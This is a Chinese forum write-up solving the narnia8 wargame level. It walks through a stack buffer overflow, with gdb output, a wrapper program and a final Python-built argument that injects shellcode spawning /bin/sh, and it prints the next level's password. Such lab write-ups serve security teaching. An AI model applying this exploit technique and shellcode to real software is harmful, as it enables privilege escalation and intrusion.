首页
论坛
专栏
课程

[原创]WarGame-narnia8 解题思路

2019-8-6 16:49 1500

[原创]WarGame-narnia8 解题思路

2019-8-6 16:49
1500

Narnia8源码如下

/*
    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// gcc's variable reordering fucked things up
// to keep the level in its old style i am
// making "i" global until i find a fix
// -morla
int i;

void func(char *b){
	char *blah=b;
	char bok[20];
	//int i=0;

	memset(bok, '\0', sizeof(bok));
	for(i=0; blah[i] != '\0'; i++)
		bok[i]=blah[i];

	printf("%s\n",bok);
}

int main(int argc, char **argv){

	if(argc > 1)
		func(argv[1]);
	else
	printf("%s argument\n", argv[0]);

	return 0;
}

无疑这是栈溢出漏洞,不过唯一不同的是bok只有20byte这么大,所以之前的nop滑板不能用了,首先反汇编出func函数的代码,然后下断得出返回地址与bok之间的距离(断点必须下在for循环里面或者之前,不然指向argv的指针会发生变化),最后修改返回地址指向我们的shellcode,过程如下

pwndbg> disassemble func
Dump of assembler code for function func:
   0x0804841b <+0>:	push   ebp
   0x0804841c <+1>:	mov    ebp,esp
   0x0804841e <+3>:	sub    esp,0x18
   0x08048421 <+6>:	mov    eax,DWORD PTR [ebp+0x8]
   0x08048424 <+9>:	mov    DWORD PTR [ebp-0x4],eax
   0x08048427 <+12>:	push   0x14
   0x08048429 <+14>:	push   0x0
   0x0804842b <+16>:	lea    eax,[ebp-0x18]
   0x0804842e <+19>:	push   eax
   0x0804842f <+20>:	call   0x8048300 <memset@plt>
   0x08048434 <+25>:	add    esp,0xc
   0x08048437 <+28>:	mov    DWORD PTR ds:0x80497b0,0x0
   0x08048441 <+38>:	jmp    0x8048469 <func+78>
   0x08048443 <+40>:	mov    eax,ds:0x80497b0
   0x08048448 <+45>:	mov    edx,DWORD PTR ds:0x80497b0
   0x0804844e <+51>:	mov    ecx,edx
   0x08048450 <+53>:	mov    edx,DWORD PTR [ebp-0x4]
   0x08048453 <+56>:	add    edx,ecx
   0x08048455 <+58>:	movzx  edx,BYTE PTR [edx]
   0x08048458 <+61>:	mov    BYTE PTR [ebp+eax*1-0x18],dl
   0x0804845c <+65>:	mov    eax,ds:0x80497b0
=> 0x08048461 <+70>:	add    eax,0x1
   0x08048464 <+73>:	mov    ds:0x80497b0,eax
   0x08048469 <+78>:	mov    eax,ds:0x80497b0
   0x0804846e <+83>:	mov    edx,eax
   0x08048470 <+85>:	mov    eax,DWORD PTR [ebp-0x4]
   0x08048473 <+88>:	add    eax,edx
   0x08048475 <+90>:	movzx  eax,BYTE PTR [eax]
   0x08048478 <+93>:	test   al,al
   0x0804847a <+95>:	jne    0x8048443 <func+40>
   0x0804847c <+97>:	lea    eax,[ebp-0x18]
   0x0804847f <+100>:	push   eax
   0x08048480 <+101>:	push   0x8048550
   0x08048485 <+106>:	call   0x80482e0 <printf@plt>
   0x0804848a <+111>:	add    esp,0x8
   0x0804848d <+114>:	nop
   0x0804848e <+115>:	leave  
   0x0804848f <+116>:	ret    
End of assembler dump.
pwndbg> b *0x8048475

随便输入点东西,断下来后查看esp,得到如下信息

pwndbg> x/20x $esp
0xffffd4e4:	0x00000061	0x00000000	0x00000000	0x00000000
0xffffd4f4:	0x00000000	0xffffd71e	0xffffd508	0x080484a7
0xffffd504:	0xffffd71e	0x00000000	0xf7df2e81	0x00000002
0xffffd514:	0xffffd5a4	0xffffd5b0	0xffffd534	0x00000001
0xffffd524:	0x00000000	0xf7fb2000	0xf7fe575a	0xf7ffd000

0x80484a7是返回地址(当func走到ret指令时得知),0xffffd71e就是指向argv的指针了

pwndbg> x/15x 0xffffd71e
0xffffd71e:	0x61616161	0x61616161	0x61616161	0x61616161
0xffffd72e:	0x61616161	0xffffd744	0xffffd538	0xffffd764
0xffffd73e:	0x315e18eb	0x074688c0	0x5e891e8d	0x084e8d08
0xffffd74e:	0x8d0c4689	0x0bb00c56	0xe3e880cd

如果发现输入shellcode以后指针发生变化就多调试几遍,直到在gdb里能获取到shell为止,但当退出gdb在实际环境中运行的时候会发现exp并不能获取shell,其原因是在调试器中和在调试器外的环境变量是不同的,因此栈中地址会发生变化;我采用一种叫包装程序的方法(歪果仁叫它wrapper program),其实就是在一个程序中调用另一个程序,源码如下

#include <unistd.h>
int main(int argc, char const *argv[]){
	execve("/narnia/narnia8",argv,0);
}

需要注意的是这种方法在真实环境中并不能解决ASLR的问题;继续使用gdb调试,便可得到存放argv的固定地址,不过每次重新调试的时候要跳到外面这一层程序,而不是只在里面重开,最终结果如下

narnia8@narnia:/tmp/test_narnia$ ./test_narnia $(python -c 'print "a"*20+"\xa1\xdf\xff\xff"+"\x08\xde\xff\xff"+"\xc1\xdf\xff\xff"+"\xeb\x18\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x8d\x4e\x08\x89\x46\x0c\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"')
aaaaaaaaaaaaaaaaaaaa¡࠿߿ÿÿÿ闞1FF
                               V
                                °
                                 ̀餿ÿÿ/bin/sh

$ whoami
narnia9
$ cat /etc/narnia_pass/narnia9
eiL5fealae
$

小结
写writeup有点儿费神,所以之后的behemoth我可能会写的简单一些吧,如果有什么问题直接在下面留言就行了,大部分情况下我还是会回答的
附件是可执行程序、源码和包装程序的源码


[公告]安全服务和外包项目请将项目需求发到看雪企服平台:https://qifu.kanxue.com

上传的附件:
最新回复 (0)
游客
登录 | 注册 方可回帖
返回